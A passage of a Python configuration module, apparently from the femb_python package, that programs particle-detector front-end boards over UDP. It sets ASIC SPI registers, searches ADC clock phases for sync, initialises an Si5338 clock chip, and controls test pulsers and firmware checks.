) or (baseVal > 1):\n return\n if (gainVal < 0 ) or (gainVal > 3):\n return\n if (shapeVal < 0 ) or (shapeVal > 3):\n return\n if (acdcVal < 0 ) or (acdcVal > 1):\n return\n if (bufVal < 0 ) or (bufVal > 1):\n return\n if (feasicLeakageVal < 0 ) or (feasicLeakageVal > 1 ):\n return\n if (feasicLeakagex10Val < 0) or (feasicLeakagex10Val > 1):\n return\n\n chReg = 0\n #test capacitor, bit 7\n chReg = chReg + ((testVal & 0x01)<<7)\n\n #baseline control, bit 6\n baseVal = 1 - baseVal #assign 0 = 200mV, 1 = 900mV\n chReg = chReg + ((baseVal & 0x01)<<6)\n \n #gain control, bits 4-5\n gainArray = [0,2,1,3]\n chReg = chReg + ((gainArray[gainVal] & 0x03)<<4)\n\n #shape control, bits 2-3\n shapeArray = [2,0,3,1] #I don't know why\n chReg = chReg + ((shapeArray[shapeVal] & 0x03)<<2)\n\n #buffer control, bit 0\n chReg = chReg + ((bufVal & 0x01)<<0)\n\n #construct the channel word\n chWord = (chReg << 24 ) + (chReg << 16) + (chReg << 8 ) + chReg\n\n asicReg = int(0)\n #asicReg = int(0x0A00)\n \n #leakage control 1, bit 0\n asicReg = asicReg + ((feasicLeakageVal & 0x01)<<0)\n \n #leakage control 2, bit 4\n asicReg = asicReg + ((feasicLeakagex10Val & 0x01)<<4)\n\n #AC/DC control\n\n #monitor control, bits 1-2\n\n #internal DAC enable, bit 8\n\n #external DAC enable, bit 9\n\n #DAC OUTPUT bits 8-9 , 0xA00 = external DAC\n\n #ADC ASIC config\n adc_globalReg = 0x0000 #FRQC=1, all other general register bits are 0\n if self.useExtAdcClock == True:\n adc_globalReg = 0x8000 #CLK0=1,CLK1=0,FRQC=0,F0=0\n\n #turn off HS data before register writes\n self.femb.write_reg_bits(9 , 0, 0x1, 0 )\n print(\"HS link turned off\")\n time.sleep(2)\n\n #write SPI regs - very rough version\n chWord = (chReg << 24 ) + (chReg << 16) + (chReg << 8 ) + chReg\n for asic in range(0,self.NASICS,1):\n baseReg = self.REG_SPI_BASE + int(asic)*9\n self.femb.write_reg_bits( baseReg + 4 , 0, 0xFFFF, adc_globalReg ) #ADC ASIC global registers\n self.femb.write_reg_bits( baseReg + 4 , 16, 0xFF, chReg ) #ch0\n self.femb.write_reg_bits( baseReg + 4 , 24, 0xFF, chReg ) #ch1\n self.femb.write_reg( baseReg + 5 , chWord) #ch2-5\n self.femb.write_reg( baseReg + 6 , chWord) #ch6-9\n self.femb.write_reg( baseReg + 7 , chWord) #ch10-13\n self.femb.write_reg_bits( baseReg + 8 , 0, 0xFF, chReg ) #ch14\n self.femb.write_reg_bits( baseReg + 8 , 8, 0xFF, chReg ) #ch15\n self.femb.write_reg_bits( baseReg + 8 , 16, 0xFFFF, asicReg ) #ASIC gen reg\n\n print( \"adc_globalReg \",\"\\t\",adc_globalReg)\n print( \"chReg \",\"\\t\",hex(chReg))\n print( \"chWord \",\"\\t\",hex(chWord))\n print( \"asicReg \",\"\\t\",hex(asicReg))\n\n # find a good phase, if necessary\n self.findADCPhase()\n\n #run the SPI programming\n self.doAsicConfig()\n\n #turn HS link back on\n print(\"HS link turned back on\")\n time.sleep(2)\n self.femb.write_reg_bits(9 , 0, 0x1, 1 )\n\n \n\n\n def findADCPhase(self, trial=0):\n\n print(\"Find ADC phases that sync all ADCs\")\n\n #Write ADC ASIC SPI\n if True :\n print(\"ADC reconfig\")\n self.femb.write_reg( self.REG_RESET,0x4) #reset timestamp\n time.sleep(0.01)\n self.femb.write_reg( self.REG_ASIC_RESET, 1) #reset ASIC SPI\n time.sleep(0.01)\n self.femb.write_reg( self.REG_ASIC_SPIPROG, 1) #configure ASICs\n time.sleep(0.01)\n self.femb.write_reg( self.REG_ASIC_SPIPROG, 1) #configure ASICs\n time.sleep(0.01)\n \n syncSuccess = False\n oldSyncVal = 0xFFFF\n \n # start with the default values for the configuration\n def_clksel_rt = self.CLKSELECT_val_RT\n def_clksel2_rt = self.CLKSELECT2_val_RT\n \n def_clksel_ct = self.CLKSELECT_val_CT\n def_clksel2_ct = self.CLKSELECT2_val_CT\n\n #first step will always go +1\n lastStep = 1\n\n didJump = False\n trial = 0\n totTrial = 50\n \n while (syncSuccess == False and trial <= totTrial) :\n\n #phase control\n if self.isRoomTemp == True:\n print(\"ADC clock phase:\",self.CLKSELECT_val_RT,self.CLKSELECT2_val_RT)\n self.femb.write_reg_bits(self.CLK_SELECT , 0, 0xFF, self.CLKSELECT_val_RT ) #clock select\n self.femb.write_reg_bits(self.CLK_SELECT2 , 0, 0xFF, self.CLKSELECT2_val_RT ) #clock select 2\n else:\n print(\"Using cryogenic parameters, ADC clock phase:\",self.CLKSELECT_val_CT,self.CLKSELECT2_val_CT)\n self.femb.write_reg_bits(self.CLK_SELECT , 0, 0xFF, self.CLKSELECT_val_CT ) #clock select\n self.femb.write_reg_bits(self.CLK_SELECT2 , 0, 0xFF, self.CLKSELECT2_val_CT ) #clock select 2\n \n # check sync\n regVal = -1\n regVal = self.femb.read_reg(6)\n if regVal == None:\n print(\"doAsicConfig: Could not check SYNC status, bad\")\n return\n\n syncVal = 0\n syncVal = ((regVal >> 16) & 0xFFFF)\n self.syncStatus = syncVal\n print(\"SYNC ATTEMPT\\t\",trial,\"\\tSYNC VAL \" , hex(syncVal) )\n\n #try again if sync not achieved\n if syncVal != 0x0 :\n\n if syncVal <= oldSyncVal:\n\n # keep going this direction\n if lastStep == 1:\n \n if self.isRoomTemp == True:\n if self.CLKSELECT_val_RT < 0xFF :\n self.CLKSELECT_val_RT = self.CLKSELECT_val_RT + 1\n \n if self.CLKSELECT2_val_RT < 0xFF :\n self.CLKSELECT2_val_RT = self.CLKSELECT2_val_RT + 1\n\n else: \n if self.CLKSELECT_val_CT < 0xFF :\n self.CLKSELECT_val_CT = self.CLKSELECT_val_CT + 1\n \n if self.CLKSELECT2_val_CT < 0xFF :\n self.CLKSELECT2_val_CT = self.CLKSELECT2_val_CT + 1\n\n lastStep = 1\n \n else:\n\n if self.isRoomTemp == True:\n if self.CLKSELECT_val_RT < 0xFF :\n self.CLKSELECT_val_RT = self.CLKSELECT_val_RT - 1\n \n if self.CLKSELECT2_val_RT < 0xFF :\n self.CLKSELECT2_val_RT = self.CLKSELECT2_val_RT - 1\n\n else: \n if self.CLKSELECT_val_CT < 0xFF :\n self.CLKSELECT_val_CT = self.CLKSELECT_val_CT - 1\n \n if self.CLKSELECT2_val_CT < 0xFF :\n self.CLKSELECT2_val_CT = self.CLKSELECT2_val_CT - 1\n\n lastStep = -1\n\n oldSyncVal = syncVal\n \n else:\n\n # haven't jumped yet\n if didJump == False:\n \n # jump back to start and switch directions\n if self.isRoomTemp == True:\n if self.CLKSELECT_val_RT < 0xFF :\n self.CLKSELECT_val_RT = def_clksel_rt - 1\n \n if self.CLKSELECT2_val_RT < 0xFF :\n self.CLKSELECT2_val_RT = def_clksel2_rt - 1\n\n else: \n if self.CLKSELECT_val_CT < 0xFF :\n self.CLKSELECT_val_CT = def_clksel_ct - 1\n \n if self.CLKSELECT2_val_CT < 0xFF :\n self.CLKSELECT2_val_CT = def_clksel2_ct - 1\n\n lastStep = -1\n didJump = True\n oldSyncVal = 0xFFFF\n\n else:\n trial = totTrial # bail out\n \n syncSuccess = False\n \n else :\n syncSuccess = True\n\n if self.isRoomTemp == True:\n print(\"Found good RT clock phase:\",hex(self.CLKSELECT_val_RT),hex(self.CLKSELECT2_val_RT))\n else:\n print(\"Found good CT clock phase:\",hex(self.CLKSELECT_val_CT),hex(self.CLKSELECT2_val_CT))\n\n trial = trial + 1\n\n if syncSuccess == False:\n print(\"Could not find good clock phase near default values\")\n if self.isRoomTemp == True:\n print(\"SYNC STATUS:\",hex(syncVal),\"at\",hex(self.CLKSELECT_val_RT),hex(self.CLKSELECT2_val_RT))\n else:\n print(\"SYNC STATUS:\",hex(syncVal),\"at\",hex(self.CLKSELECT_val_CT),hex(self.CLKSELECT2_val_CT))\n \n bruteForce = True\n\n # did not find a good phase near the defaults\n if bruteForce == True and syncSuccess == False:\n\n oldSyncVal = 0xFFFF\n minClksel = 0xFF\n minClksel2 = 0xFF\n syncVal = -1\n\n print(\"Searching all values\")\n \n # start with 0xFF\n clksel = 0xFF\n clksel2 = 0xFF\n\n trial = 0\n \n # step through phases until ADCs sync\n while (syncSuccess == False and clksel != 0) :\n\n #phase control\n print(\"ADC clock phase:\",clksel,clksel2)\n self.femb.write_reg_bits(self.CLK_SELECT , 0, 0xFF, clksel ) #clock select\n self.femb.write_reg_bits(self.CLK_SELECT2 , 0, 0xFF, clksel2 ) #clock select 2\n \n # check sync\n regVal = self.femb.read_reg(6)\n if regVal == None:\n print(\"doAsicConfig: Could not check SYNC status, bad\")\n return\n \n syncVal = 0\n syncVal = ((regVal >> 16) & 0xFFFF)\n self.syncStatus = syncVal\n print(\"SYNC ATTEMPT\\t\",trial,\"\\tSYNC VAL \" , hex(syncVal) )\n\n if syncVal < oldSyncVal :\n oldSyncVal = syncVal\n minClksel = clksel\n minClksel2 = clksel2\n \n # try again if sync not achieved\n if syncVal != 0x0 :\n\n clksel = clksel - 1\n clksel2 = clksel2 - 1\n\n syncSuccess = False\n trial = trial + 1\n \n else:\n\n syncSuccess = True\n print(\"Found good clock phase:\",hex(clksel),hex(clksel2))\n\n if clksel == 0:\n print(\"Could not find good clock phase\")\n print(\"Minimum sync value found:\",hex(oldSyncVal),\"at\",hex(minClksel),hex(minClksel2))\n print(\"One last try\")\n\n lastSyncSuccess = False\n lasttrial = 0\n lastClksel2 = 0xFF\n lastSyncVal = 0xFFFF\n \n # step through phases until ADCs sync\n while (lastSyncSuccess == False and lastClksel2 != 0) :\n\n #phase control\n print(\"ADC clock phase:\",minClksel,lastClksel2)\n self.femb.write_reg_bits(self.CLK_SELECT , 0, 0xFF, minClksel ) #clock select\n self.femb.write_reg_bits(self.CLK_SELECT2 , 0, 0xFF, lastClksel2 ) #clock select 2\n \n # check sync\n regVal = self.femb.read_reg(6)\n if regVal == None:\n print(\"doAsicConfig: Could not check SYNC status, bad\")\n return\n \n lastSyncVal = ((regVal >> 16) & 0xFFFF)\n print(\"SYNC ATTEMPT\\t\",lasttrial,\"\\tSYNC VAL \" , hex(lastSyncVal) )\n\n # try again if sync not achieved\n if lastSyncVal != 0x0 :\n\n lastClksel2 = lastClksel2 - 1\n\n lastSyncSuccess = False\n lasttrial = lasttrial + 1\n \n else:\n\n lastSyncSuccess = True\n\n if self.isRoomTemp == True:\n self.CLKSELECT_val_RT = minClksel\n self.CLKSELECT2_val_RT = lastClksel2\n print(\"Found good RT clock phases:\",hex(self.CLKSELECT_val_RT),hex(self.CLKSELECT2_val_RT))\n else:\n self.CLKSELECT_val_CT = minClksel\n self.CLKSELECT2_val_CT = lastClksel2\n print(\"Found good CT clock phases:\",hex(self.CLKSELECT_val_CT),hex(self.CLKSELECT2_val_CT))\n\n \n def doAsicConfig(self, syncAttempt=0):\n if syncAttempt == 0:\n print(\"Program ASIC SPI\")\n #for regNum in range(self.REG_SPI_BASE,self.REG_SPI_BASE+72,1):\n # regVal = self.femb.read_reg( regNum)\n # print( str(regNum) + \"\\t\" + str(hex(regVal)) )\n\n #phase control\n \"\"\"\n if self.isRoomTemp == True:\n self.femb.write_reg_bits(self.CLK_SELECT , 0, 0xFF, 0xDF ) #clock select\n self.femb.write_reg_bits(self.CLK_SELECT2 , 0, 0xFF, 0x20 ) #clock select 2\n else:\n print(\"Using cryogenic parameters\")\n self.femb.write_reg_bits(self.CLK_SELECT , 0, 0xFF, 0x83 ) #clock select\n self.femb.write_reg_bits(self.CLK_SELECT2 , 0, 0xFF, 0xFF ) #clock select 2 \n self.femb.write_reg_bits(self.REG_LATCHLOC_3_TO_0 , 0, 0xFFFFFFFF, 0x00000000 ) #datashift\n self.femb.write_reg_bits(self.REG_LATCHLOC_7_TO_4 , 0, 0xFFFFFFFF, 0x00000000 ) #datashift\n \"\"\"\n\n #Write ADC ASIC SPI\n #if syncAttempt == 0:\n if True :\n #print(\"ADC reconfig\")\n self.femb.write_reg( self.REG_RESET,0x4) #reset timestamp\n time.sleep(0.01)\n self.femb.write_reg( self.REG_ASIC_RESET, 1) #reset ASIC SPI\n time.sleep(0.01)\n self.femb.write_reg( self.REG_ASIC_SPIPROG, 1) #configure ASICs\n time.sleep(0.01)\n self.femb.write_reg( self.REG_ASIC_SPIPROG, 1) #configure ASICs\n time.sleep(0.01)\n #soft reset\n #self.femb.write_reg( self.REG_SOFT_ADC_RESET, 0x4)\n #time.sleep(0.01)\n\n #for regNum in range(self.REG_SPI_RDBACK_BASE,self.REG_SPI_RDBACK_BASE+72,1):\n # regVal = self.femb.read_reg( regNum)\n # print( str(regNum) + \"\\t\" + str(hex(regVal)) )\n\n #check the sync\n if self.doReSync == False:\n return\n \n regVal = 0\n regVal = self.femb.read_reg(6)\n if regVal == None:\n print(\"doAsicConfig: Could not check SYNC status, bad\")\n return\n\n syncVal = 0\n syncVal = ((regVal >> 16) & 0xFFFF)\n self.syncStatus = syncVal\n #print(\"SYNC ATTEMPT\\t\",syncAttempt,\"\\tSYNC VAL \" , hex(syncVal) )\n\n #try again if sync not achieved, note recursion\n if syncVal != 0x0 :\n if syncAttempt >= self.maxSyncAttempts :\n print(\"doAsicConfig: Could not sync ADC ASIC, sync val\\t\",hex(syncVal))\n return\n else:\n self.doAsicConfig(syncAttempt+1)\n\n def syncADC(self):\n print(\"Sync\")\n\n def selectFemb(self, fembIn):\n fembVal = int( fembIn)\n if (fembVal < 0) or (fembVal > self.NFEMBS ):\n print(\"Invalid FEMB # requested\")\n return\n self.fembNum = fembVal\n\n #set data streaming for requested FEMB\n #set UDP ports to WIB\n self.femb.UDP_PORT_WREG = 32000\n self.femb.UDP_PORT_RREG = 32001\n self.femb.UDP_PORT_RREGRESP = 32002\n self.femb.write_reg_bits(7 , 16, 0x3, self.fembNum )\n\n #set read/write ports\n if fembVal == 0:\n self.femb.UDP_PORT_WREG = 32016\n self.femb.UDP_PORT_RREG = 32017\n self.femb.UDP_PORT_RREGRESP = 32018\n\n if fembVal == 1:\n self.femb.UDP_PORT_WREG = 32032\n self.femb.UDP_PORT_RREG = 32033\n self.femb.UDP_PORT_RREGRESP = 32034\n\n if fembVal == 2:\n self.femb.UDP_PORT_WREG = 32048\n self.femb.UDP_PORT_RREG = 32049\n self.femb.UDP_PORT_RREGRESP = 32050\n\n if fembVal == 3:\n self.femb.UDP_PORT_WREG = 32064\n self.femb.UDP_PORT_RREG = 32065\n self.femb.UDP_PORT_RREGRESP = 32066\n\n #slow down register interface for FEMBs\n self.femb.REG_SLEEP = 0.05\n time.sleep(0.1)\n\n def initSI5338(self):\n #set UDP ports to WIB\n self.femb.UDP_PORT_WREG = 32000\n self.femb.UDP_PORT_RREG = 32001\n self.femb.UDP_PORT_RREGRESP = 32002\n self.femb.REG_SLEEP = 0.001\n \n #disable all outputs\n #i2c_reg_wr(i2c_bus_base_addr, si5338_i2c_addr, 230, 0x10);\n self.write_reg_SI5338(230,0x10)\n\n #pause lol\n\t#i2c_reg_wr(i2c_bus_base_addr, si5338_i2c_addr, 241, 0xE5);\n self.write_reg_SI5338(241,0xE5)\n\n import femb_python.configuration.femb_config_wib_sbnd_si5338_data\n for word in range(0,349,1):\n wordNum = int(word)\n addr = int(femb_python.configuration.femb_config_wib_sbnd_si5338_data.data[3*wordNum+0])\n val = int(femb_python.configuration.femb_config_wib_sbnd_si5338_data.data[3*wordNum+1])\n mask = int(femb_python.configuration.femb_config_wib_sbnd_si5338_data.data[3*wordNum+2])\n\n if wordNum % 10 == 0:\n print( \"Writing SI5338 register # \" + str(wordNum) + \" out of 349\") \n\n if mask == 0:\n continue\n\n writeVal = val\n if mask != 0xFF:\n curr_val = self.read_reg_SI5338(addr)\n if curr_val == None:\n print( \"Did not finish clock initialization\")\n return\n clear_curr_val = curr_val & (~mask)\n clear_new_val = val & mask\n writeVal = clear_curr_val | clear_new_val\n self.write_reg_SI5338(addr,writeVal)\n #print(str(addr) + \"\\t\" + str(writeVal)) \n\n #validate input clock status\n\t#i2c_reg_rd(i2c_bus_base_addr, si5338_i2c_addr, 218);\n regVal = self.read_reg_SI5338(218)\n if regVal == None:\n print( \"Did not finish clock initialization\")\n return\n clkStatus = (regVal & 0x04)\n count = 0\n while count < 100:\n regVal = self.read_reg_SI5338(218)\n if regVal == None:\n print( \"Did not finish clock initialization\")\n return\n clkStatus = (regVal & 0x04)\n if clkStatus != 0x04:\n break\n count = count + 1\n if clkStatus == 0x04:\n print( \"Did not finish clock initialization\")\n return\n\n #configure pll\n pllWord = int(femb_python.configuration.femb_config_wib_sbnd_si5338_data.data[3*49+1])\n self.write_reg_SI5338(49,(0x7F & pllWord)) \n \n #reset the chip\n self.write_reg_SI5338(246,0x02)\n\n time.sleep(0.1)\n\n #restart lol\n self.write_reg_SI5338(241,0x65)\n\n #validate pll\n pllStatus = self.read_reg_SI5338(218)\n if pllStatus == None:\n print( \"Did not finish clock initialization\")\n return\n count = 0\n while count < 100:\n pllStatus = self.read_reg_SI5338(218)\n if pllStatus == None:\n print( \"Did not finish clock initialization\")\n return\n if pllStatus == 0 :\n break\n count = count + 1\n if pllStatus != 0:\n print(\"Did not finish clock initialization\")\n return\n\n #copy FCAL values to active registers \n fcalVal = self.read_reg_SI5338(235)\n if fcalVal == None:\n print( \"Did not finish clock initialization\")\n return\n self.write_reg_SI5338(45,fcalVal)\n \n fcalVal = self.read_reg_SI5338(236)\n if fcalVal == None:\n print( \"Did not finish clock initialization\")\n return\n self.write_reg_SI5338(46,fcalVal)\n\n fcalVal = self.read_reg_SI5338(237)\n if fcalVal == None:\n print( \"Did not finish clock initialization\")\n return\n fcalVal = ( 0x14 | ( fcalVal & 0x3) )\n self.write_reg_SI5338(47,fcalVal)\n\n #set pll to use FCAL values\n #i2c_reg_wr(i2c_bus_base_addr, si5338_i2c_addr, 49, 0x80|SI5338Reg[49*3+1]);\n setPllWord = ( 0x80 | pllWord )\n self.write_reg_SI5338(49, setPllWord )\n\n #enable outputs\n self.write_reg_SI5338(230,0x00)\n print(\"Done initalizing Si5338 clock\")\n\n #set UDP ports back to normal\n self.selectFemb(self.fembNum)\n\n def read_reg_SI5338(self,addr):\n addrVal = int(addr)\n if (addrVal < 0 ) or (addrVal > 255):\n return None\n self.femb.write_reg( 11, 0)\n self.femb.write_reg( 12, addrVal)\n self.femb.write_reg( 15, 0xE0)\n\n self.femb.write_reg( 10, 1)\n self.femb.write_reg( 10, 0)\n\n self.femb.write_reg( 11, 1)\n\n self.femb.write_reg( 10, 2)\n self.femb.write_reg( 10, 0)\n\n regVal = self.femb.read_reg(14)\n if regVal == None:\n return None\n return regVal\n\n def write_reg_SI5338(self,addr,val):\n addrVal = int(addr)\n if (addrVal < 0 ) or (addrVal > 255):\n return\n regVal = int(val)\n if (regVal < 0 ) or (regVal > 255):\n return\n self.femb.write_reg( 11, 1)\n self.femb.write_reg( 12, addrVal)\n self.femb.write_reg( 13, regVal)\n\n self.femb.write_reg( 10, 1)\n self.femb.write_reg( 10, 0)\n\n def setFpgaPulser(self,enable,dac):\n enableVal = int(enable)\n if (enableVal < 0 ) or (enableVal > 1 ) :\n print( \"femb_config_femb : setFpgaPulser - invalid enable value\")\n return\n dacVal = int(dac)\n if ( dacVal < 0 ) or ( dacVal > 0x3F ) :\n print( \"femb_config_femb : setFpgaPulser - invalid dac value\")\n return\n\n self.femb.write_reg_bits( self.REG_FPGA_TP_EN, 0,0x3,enableVal) #test pulse enable\n self.femb.write_reg_bits( self.REG_FPGA_TP_EN, 8,0x1,enableVal) #test pulse enable\n self.femb.write_reg_bits( self.REG_TP , 0, 0x3F, dacVal ) #TP Amplitude\n self.femb.write_reg_bits( self.REG_TP , 8, 0xFF, 219 ) #DLY\n self.femb.write_reg_bits( self.REG_TP , 16, 0xFFFF, 497 ) #FREQ\n\n #set pulser enable bit\n if enableVal == 1 :\n self.femb.write_reg( self.EXT_TP_EN, 0x2) #this register is confusing, check\n else :\n self.femb.write_reg( self.EXT_TP_EN, 0x3) #pulser disabled\n\n #connect channel test input to external pin\n for asic in range(0,self.NASICS,1):\n baseReg = self.REG_SPI_BASE + int(asic)*9\n if enableVal == 1:\n self.femb.write_reg_bits( baseReg + 8 , 24, 0x3, 0x2 ) #ASIC gen reg\n else:\n self.femb.write_reg_bits( baseReg + 8 , 24, 0x3, 0x0 ) #ASIC gen reg\n\n self.doAsicConfig()\n\n def setInternalPulser(self,enable,dac):\n enableVal = int(enable)\n if (enableVal < 0 ) or (enableVal > 1 ) :\n print( \"femb_config_femb : setInternalPulser - invalid enable value\")\n return\n dacVal = int(dac)\n if ( dacVal < 0 ) or ( dacVal > 0x3F ) :\n print( \"femb_config_femb : setInternalPulser - invalid dac value\")\n return\n\n self.femb.write_reg_bits( self.REG_DAC_SELECT, 8,0x1,0) #test pulse enable\n self.femb.write_reg_bits( self.REG_TP , 0, 0x3F, 0 ) #TP Amplitude\n self.femb.write_reg_bits( self.REG_TP , 8, 0xFF, 219 ) #DLY\n self.femb.write_reg_bits( self.REG_TP , 16, 0xFFFF, 497 ) #FREQ\n\n #set pulser enable bit\n if enableVal == 1 :\n self.femb.write_reg( self.INT_TP_EN, 0x2) #this register is confusing, check\n else :\n self.femb.write_reg( self.INT_TP_EN, 0x3) #pulser disabled\n\n dacVal = (dacVal & 0x3F)\n newDacVal = int('{:08b}'.format(dacVal)[::-1], 2)\n\n asicWord = ((newDacVal << 8 ) & 0xFFFF)\n if enableVal == 1 :\n asicWord = asicWord + (0x1 << 8)\n\n #connect channel test input to external pin\n for asic in range(0,self.NASICS,1):\n baseReg = self.REG_SPI_BASE + int(asic)*9\n if enableVal == 1:\n self.femb.write_reg_bits( baseReg + 8 , 24, 0xFF, newDacVal )\n self.femb.write_reg_bits( baseReg + 8 , 24, 0x3, 0x1 ) #ASIC gen reg\n else: \n self.femb.write_reg_bits( baseReg + 8 , 24, 0xFF, 0x0 ) #ASIC gen reg\n\n self.doAsicConfig()\n\n if enableVal == 1:\n self.femb.write_reg_bits( self.REG_ASIC_TP_EN , 0, 0x3, 0x2 ) #NOTE, also disabling FPGA pulser here\n else:\n self.femb.write_reg_bits( self.REG_ASIC_TP_EN , 0, 0x3, 0x0 )\n\n def selectPulserChannels(self,setchannels):\n # attach test cap to a set of channels given by the array testchannels\n testchannels = []\n \n # check channel list\n for i in range(0,len(setchannels),1):\n if(setchannels[i] >= 0 and setchannels[i] <= 127):\n testchannels.append(setchannels[i])\n else:\n print(\"Invalid channel:\",setchannels[i],\"removed from list\") \n\n print(\"Selecting channels for pulser:\", testchannels)\n\n ch = [[-1 for i in range(self.NASICCH)] for j in range(self.NASICS)]\n \n for asic in range(0,self.NASICS,1):\n baseReg = self.REG_SPI_BASE + int(asic)*9\n\n # read back current state of channel regs\n ch[asic][15] = (self.femb.read_reg( baseReg + 4 ) & 0xFF0000) >> 16\n ch[asic][14] = (self.femb.read_reg( baseReg + 4 ) & 0xFF000000) >> 24\n ch[asic][13] = (self.femb.read_reg( baseReg + 5 ) & 0xFF)\n ch[asic][12] = (self.femb.read_reg( baseReg + 5 ) & 0xFF00) >> 8\n ch[asic][11] = (self.femb.read_reg( baseReg + 5 ) & 0xFF0000) >> 16 \n ch[asic][10] = (self.femb.read_reg( baseReg + 5 ) & 0xFF000000) >> 24\n ch[asic][9] = (self.femb.read_reg( baseReg + 6 ) & 0xFF)\n ch[asic][8] = (self.femb.read_reg( baseReg + 6 ) & 0xFF00) >> 8\n ch[asic][7] = (self.femb.read_reg( baseReg + 6 ) & 0xFF0000) >> 16 \n ch[asic][6] = (self.femb.read_reg( baseReg + 6 ) & 0xFF000000) >> 24\n ch[asic][5] = (self.femb.read_reg( baseReg + 7 ) & 0xFF)\n ch[asic][4] = (self.femb.read_reg( baseReg + 7 ) & 0xFF00) >> 8\n ch[asic][3] = (self.femb.read_reg( baseReg + 7 ) & 0xFF0000) >> 16 \n ch[asic][2] = (self.femb.read_reg( baseReg + 7 ) & 0xFF000000) >> 24\n ch[asic][1] = (self.femb.read_reg( baseReg + 8 ) & 0xFF)\n ch[asic][0] = (self.femb.read_reg( baseReg + 8 ) & 0xFF00) >> 8\n\n # 0 test cap all channels\n for i in range(0,self.NASICCH,1):\n ch[asic][i] = ch[asic][i] & 0x7F\n \n # 1 test cap if channel is in list\n for tc in range(0,len(testchannels),1):\n thisasic = int(testchannels[tc]/self.NASICCH)\n thischan = int((testchannels[tc]/self.NASICCH-thisasic)*self.NASICCH)\n\n ch[thisasic][thischan] = ch[thisasic][thischan] + 0x80\n\n #write channel regs \n for asic in range(0,self.NASICS,1):\n baseReg = self.REG_SPI_BASE + int(asic)*9\n self.femb.write_reg_bits( baseReg + 4 , 16, 0xFF, ch[asic][15] )\n self.femb.write_reg_bits( baseReg + 4 , 24, 0xFF, ch[asic][14] )\n self.femb.write_reg_bits( baseReg + 5 , 0, 0xFF, ch[asic][13] )\n self.femb.write_reg_bits( baseReg + 5 , 8, 0xFF, ch[asic][12] )\n self.femb.write_reg_bits( baseReg + 5 , 16, 0xFF, ch[asic][11] )\n self.femb.write_reg_bits( baseReg + 5 , 24, 0xFF, ch[asic][10] )\n self.femb.write_reg_bits( baseReg + 6 , 0, 0xFF, ch[asic][9] )\n self.femb.write_reg_bits( baseReg + 6 , 8, 0xFF, ch[asic][8] )\n self.femb.write_reg_bits( baseReg + 6 , 16, 0xFF, ch[asic][7] )\n self.femb.write_reg_bits( baseReg + 6 , 24, 0xFF, ch[asic][6] )\n self.femb.write_reg_bits( baseReg + 7 , 0, 0xFF, ch[asic][5] )\n self.femb.write_reg_bits( baseReg + 7 , 8, 0xFF, ch[asic][4] )\n self.femb.write_reg_bits( baseReg + 7 , 16, 0xFF, ch[asic][3] )\n self.femb.write_reg_bits( baseReg + 7 , 24, 0xFF, ch[asic][2] )\n self.femb.write_reg_bits( baseReg + 8 , 0, 0xFF, ch[asic][1] )\n self.femb.write_reg_bits( baseReg + 8 , 8, 0xFF, ch[asic][0] )\n \n self.doAsicConfig()\n \n def checkFirmwareVersion(self):\n #set UDP ports to WIB\n self.femb.UDP_PORT_WREG = 32000\n self.femb.UDP_PORT_RREG = 32001\n self.femb.UDP_PORT_RREGRESP = 32002\n\n #check WIB fw version reg\n wibVerReg = self.femb.read_reg(255)\n if wibVerReg == None :\n return False\n wibVerReg = (wibVerReg & 0xFFF)\n\n #set UDP ports back to normal\n self.selectFemb(self.fembNum)\n fembVerReg = self.femb.read_reg(257)\n if fembVerReg == None :\n return False\n fembVerReg = (fembVerReg & 0xFFF)\n #print( \"FEMB Firmware Version HERE : \" + str(hex(fembVerReg)) )\n if wibVerReg != 0x109 :\n print(\"Invalid WIB firmware version detected \" + str(wibVerReg) + \", this configuration requires version 0x109\")\n return False\n if fembVerReg != 0x323 :\n print(\"Invalid FEMB firmware version detected \" + str(fembVerReg) + \", this configuration requires version 0x323\")\n return False\n \n print( \"WIB Firmware Version : \" + str(hex(wibVerReg)) )\n print( \"FEMB Firmware Version : \" + str(hex(fembVerReg)) )\n\n #good firmware id\n return True\n\n def readCurrent(self):\n\n self.femb.UDP_PORT_WREG = 32000 #WIB PORTS\n self.femb.UDP_PORT_RREG = 32001\n self.femb.UDP_PORT_RREGRESP = 32002\n\n for j in range(0,100):\n self.femb.write_reg(5,0)\n self.femb.write_reg(5,0x10000)\n self.femb.write_reg(5,0)\n time.sleep(0.01)\n\n results = []\n for pwrSel in range(1,25):\n self.femb.write_reg(5,pwrSel)\n time.sleep(0.1)\n regVal = self.femb.read_reg(6)\n if regVal == None:\n results.append(0)\n continue\n #return None\n val = regVal & 0xFFFFFFFF\n results.append(val)\n\n self.selectFemb(0)\n return results\n \n\n def ext_clk_config_femb(self):\n #EXTERNAL CLOCK VARIABLES\n ####################external clokc timing\n clk_period = 5 #ns\n self.clk_dis = 0 #0 --> enable, 1 disable\n self.d14_rst_oft = 0 // clk_period \n self.d14_rst_wdt = (45 // clk_period ) \n self.d14_rst_inv = 1 \n self.d14_read_oft = 480 // clk_period \n self.d14_read_wdt = 20 // clk_period \n self.d14_read_inv = 1 \n self.d14_idxm_oft = 230 // clk_period \n self.d14_idxm_wdt = 270 // clk_period \n self.d14_idxm_inv = 0 \n self.d14_idxl_oft = 480 // clk_period \n self.d14_idxl_wdt = 20 // clk_period \n self.d14_idxl_inv = 0 \n self.d14_idl0_oft = 50 // clk_period \n self.d14_idl0_wdt = (190 // clk_period ) -1 \n self.d14_idl1_oft = 480 // clk_period\n self.d14_idl1_wdt = 20 // clk_period \n self.d14_idl_inv = 0 \n\n self.d58_rst_oft = 0 // clk_period \n self.d58_rst_wdt = (45 // clk_period ) \n self.d58_rst_inv = 1 \n self.d58_read_oft = 480 // clk_period \n self.d58_read_wdt = 20 // clk_period \n self.d58_read_inv = 1 \n self.d58_idxm_oft = 230 // clk_period \n self.d58_idxm_wdt = 270 // clk_period \n self.d58_idxm_inv = 0 \n self.d58_idxl_oft = 480 // clk_period \n self.d58_idxl_wdt = 20 // clk_period \n self.d58_idxl_inv = 0 \n self.d58_idl0_oft = 50 // clk_period \n self.d58_idl0_wdt = (190 // clk_period ) -1\n self.d58_idl1_oft = 480 // clk_period\n self.d58_idl1_wdt = 20 // clk_period \n self.d58_idl_inv = 0 \n ####################external clock phase for V323 firmware\n self.d14_read_step = 11\n self.d14_read_ud = 0\n self.d14_idxm_step = 9\n self.d14_idxm_ud = 0\n self.d14_idxl_step = 7\n self.d14_idxl_ud = 0\n self.d14_idl0_step = 12\n self.d14_idl0_ud = 0\n self.d14_idl1_step = 10\n self.d14_idl1_ud = 0\n self.d14_phase_en = 1\n\n self.d58_read_step = 0\n self.d58_read_ud = 